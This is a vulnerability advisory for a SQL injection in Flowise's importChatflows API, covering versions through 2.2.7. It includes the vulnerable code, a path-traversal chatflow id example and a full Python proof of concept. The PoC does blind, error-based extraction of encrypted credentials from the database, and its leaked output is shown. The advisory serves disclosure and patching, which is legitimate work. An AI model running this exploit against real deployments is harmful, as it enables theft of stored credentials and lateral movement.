CVE-2025-71332: FlowiseDB vulnerable to SQL Injection by authenticated users

Published Apr 7, 2025
·
Updated

Summary import functions are vulnerable. importChatflows importTools importVariables

Details Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file. json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp()

// step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return

// step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += '${newChatflow.id}' // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 })

const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(cf.id IN ${ids}) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC python import argparse import requests

def importchatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload )

return response.json()

def importnormaldata( apiurl: str, token: str, normaldata: str ): dataid = 'aaaaaa'

payload = { "Chatflows": [ { "id": dataid, "name": normaldata, "flowData": "{}" } ] }

importchatflows( url=apiurl, token=token, payload=payload ) return dataid

def getcharacter( apiurl: str, token: str, dataid: str, columnname: str, index: int ): injectionquery = f'(SELECT ascii(substr({columnname},{index},1)) FROM credential limit 0,1)'

def createpayload( c: int ): return f"{dataid}') and if (({injectionquery})<{c}, 0, 9e300 9e300); -- "

chatflowsjson = { "Chatflows": [ { "id": "", "name": dataid, "flowData": "{}" } ] }

bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = createpayload(c=character + bit) chatflowsjson['Chatflows'][0]['id'] = payload

res = importchatflows( url=apiurl, token=token, payload=chatflowsjson ) if 'DOUBLE value is out of range' in res['message']: # character is more then bit character += bit else: # character is less then bit character += 0

return chr(character)

def getlength( apiurl: str, token: str, dataid: str, columnname: str ): injectionquery = f'(SELECT length({columnname}) FROM credential limit 0,1)'

def createpayload( c: int ): return f"{dataid}') and if (({injectionquery})<{c}, 0, 9e300 9e300); -- "

chatflowsjson = { "Chatflows": [ { "id": "", "name": dataid, "flowData": "{}" } ] }

columnlen = 0 bitbox = [ 256, 128, 64, 32, 16, 8, 4, 2, 1 ] for bit in bitbox: payload = createpayload(c=columnlen + bit) chatflowsjson['Chatflows'][0]['id'] = payload

res = importchatflows( url=apiurl, token=token, payload=chatflowsjson ) if 'DOUBLE value is out of range' in res['message']: # columnlen is more then bit columnlen += bit else: # columnlen is less then bit columnlen += 0

return columnlen

def main( url: str, token: str ): apiurl = url

columnbox = [ 'credentialName', 'encryptedData' ]

dataid = importnormaldata( apiurl=apiurl, token=token, normaldata='flow01' )

for columnname in columnbox: columnlen = getlength( apiurl=apiurl, token=token, dataid=dataid, columnname=columnname )

print(f'[+] {columnname} length is {columnlen}')

result = '' for i in range(columnlen): result += getcharacter( apiurl=apiurl, token=token, dataid=dataid, columnname=columnname, index=i + 1 )

print(f'[+] {columnname}: {result}')

if name == 'main': parser = argparse.ArgumentParser() parser.addargument( '--url', type=str, default='http://flowise:3000' ) parser.addargument( '--access', type=str, required=True, help='Get from http://flowise:3000/apikey' )

margs = parser.parseargs()

main( url=margs.url, token=margs.access )

poc results: encryptedData from flowise database credential table was successfully leaked. /app # python ex2.py --url http://flowise:3000 --access "blahblah~~~" [+] credentialName length is 9 [+] credentialName: openAIApi [+] encryptedData length is 88 [+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact Database leak Lateral Movement

Other sources

Flowise through 2.2.7 contains a SQL injection vulnerability in the importChatflows API. Due to insufficient validation of the chatflow.id value, an authenticated user can supply a crafted JSON import file whose id field is concatenated unsanitized into a SQL IN clause, allowing arbitrary SQL to be executed, including blind and error-based extraction of data from the credential table.

— MITRE

Affected Software

3 affected components
npm/flowise<=2.2.7
FlowiseAI Flowise<=2.2.7
npm/flowise<=2.2.7

Event History

Apr 7, 2025
Advisory Published
via OSV·06:55 PM
Data Sourced
via OSV·06:55 PM
DescriptionSeverityWeaknessAffected Software
Jun 24, 2026
CVE Published
via MITRE·11:53 AM
Data Sourced
via MITRE·11:53 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-71332?

CVE-2025-71332 has a medium severity rating of 6.5.

2

How do I fix CVE-2025-71332?

To fix CVE-2025-71332, update Flowise to version 2.2.8 or later, which addresses the SQL injection vulnerability.

3

What type of vulnerability is CVE-2025-71332?

CVE-2025-71332 is a SQL injection vulnerability affecting the importChatflows API.

4

Who is affected by CVE-2025-71332?

Authenticated users of the Flowise application can exploit the vulnerability in versions prior to 2.2.8.

5

What can attackers do with CVE-2025-71332?

Attackers can execute arbitrary SQL commands through a crafted JSON import file, compromising the database.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203